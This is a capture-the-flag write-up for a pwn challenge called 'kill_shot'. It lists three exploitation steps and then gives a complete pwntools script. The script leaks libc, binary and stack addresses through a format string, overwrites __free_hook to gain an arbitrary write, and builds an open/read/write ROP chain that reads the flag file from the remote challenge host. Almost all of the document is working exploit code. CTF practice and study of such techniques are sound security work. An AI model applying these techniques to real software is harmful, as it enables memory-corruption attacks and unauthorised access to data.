Tags: pwn rop 

Rating:

## Steps
1. Use Leak Function to leak the stack, binary and libc address
2. Overwrite `__free_hook` with arb_write_function to get arb_write primitive
3. Use arb_write primitive to write ropchain on the stack

## exploit

```python3
#!/usr/bin/env python3
from pwn import *

HOST, PORT = 'bin.q21.ctfsecurinets.com', 1338
# HOST, PORT = 'localhost', 1338
exe = ELF('./kill_shot')
libc = ELF('./libc_kill_shot.so')

def get_proc():
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = process(exe.path)
return io

io = get_proc()

gdbscript = """
b* $rebase(0x1237)
"""

if args.GDB and not args.REMOTE:
gdb.attach(io, gdbscript=gdbscript)

# hack the planet

leak_payload = b"%25$p|%17$p|%16$p|"

io.sendafter(b"Format: ", leak_payload)
leaks = io.recvline().strip().split(b"|")
libc_leak = int(leaks[0],16)
libc_base = libc_leak - 0x21b97
bin_leak = int(leaks[1], 16)
bin_base = bin_leak - 0x11b3
stack_leak = int(leaks[2], 16)
rop_chain_base = stack_leak+8
exe.address = bin_base
libc.address = libc_base

pop_rdi = bin_base + 0x00000000000012a3
pop_rsi = libc_base + 0x0000000000023e8a
pop_rdx = libc_base + 0x0000000000001b96
pop_r10 = libc_base + 0x0000000000130865
pop_rax = libc_base + 0x0000000000043a78
syscall = libc_base + 0x00000000000013c0

flag_file = b"/home/ctf/flag.txt"

success(f"libc_ret leak: {hex(libc_leak)}")
success(f"libc_base: {hex(libc_base)}")
success(f"bin_leak: {hex(bin_leak)}")
success(f"bin_base: {hex(bin_base)}")
success(f"stack_leak: {hex(stack_leak)}")

print(libc.symbols['__free_hook'])

io.sendafter(b"Pointer: ", f"{libc.symbols['__free_hook']}")
io.sendafter(b"Content: ", p64(exe.address + 0x10b4))

def add(size=0x10, data=b"AAAA"):
io.clean()
io.send(b"1")
io.sendafter(b"Size: ", f'{size}')
io.sendafter(b"Data: ", data)

def free(idx):
io.clean()
io.send(b"2")
io.sendafter(b"Index: ", f"{idx}")

def arb_write_8(addr, content):
add()
free(1)
io.sendafter(b"Pointer: ", f"{addr}")
io.sendafter(b"Content: ", content)

add()

bss = exe.bss(0x500)

arb_write_8(rop_chain_base, p64(pop_rdi))
arb_write_8(rop_chain_base + 0x8, p64(0x0))
arb_write_8(rop_chain_base + 0x10, p64(pop_rsi))
arb_write_8(rop_chain_base + 0x18, p64(bss))
arb_write_8(rop_chain_base + 0x20, p64(pop_rdx))
arb_write_8(rop_chain_base + 0x28, p64(len(flag_file)+1))
arb_write_8(rop_chain_base + 0x30, p64(libc.symbols['read']))

arb_write_8(rop_chain_base + 0x38, p64(pop_rdi))
arb_write_8(rop_chain_base + 0x40, p64(bss))
arb_write_8(rop_chain_base + 0x48, p64(pop_rsi))
arb_write_8(rop_chain_base + 0x50, p64(0))
arb_write_8(rop_chain_base + 0x58, p64(libc.symbols['open']))

arb_write_8(rop_chain_base + 0x60, p64(pop_rdi))
arb_write_8(rop_chain_base + 0x68, p64(0x5))
arb_write_8(rop_chain_base + 0x70, p64(pop_rsi))
arb_write_8(rop_chain_base + 0x78, p64(bss))
arb_write_8(rop_chain_base + 0x80, p64(pop_rdx))
arb_write_8(rop_chain_base + 0x88, p64(0x100))
arb_write_8(rop_chain_base + 0x90, p64(libc.symbols['read']))

arb_write_8(rop_chain_base + 0x98, p64(pop_rdi))
arb_write_8(rop_chain_base + 0xa0, p64(0x1))
arb_write_8(rop_chain_base + 0xa8, p64(pop_rsi))
arb_write_8(rop_chain_base + 0xb0, p64(bss - 0x50))
arb_write_8(rop_chain_base + 0xb8, p64(pop_rdx))
arb_write_8(rop_chain_base + 0xc0, p64(0x100))
arb_write_8(rop_chain_base + 0xc8, p64(libc.symbols['write']))

arb_write_8(rop_chain_base + 0xd0, p64(libc.symbols['exit']))

io.send(b"3")

sleep(3)

io.send(flag_file+b"\x00")

io.interactive()
```

Original writeup (https://gist.github.com/mishrasunny174/7a6666eacc8e40f4715cffb1d7785e64).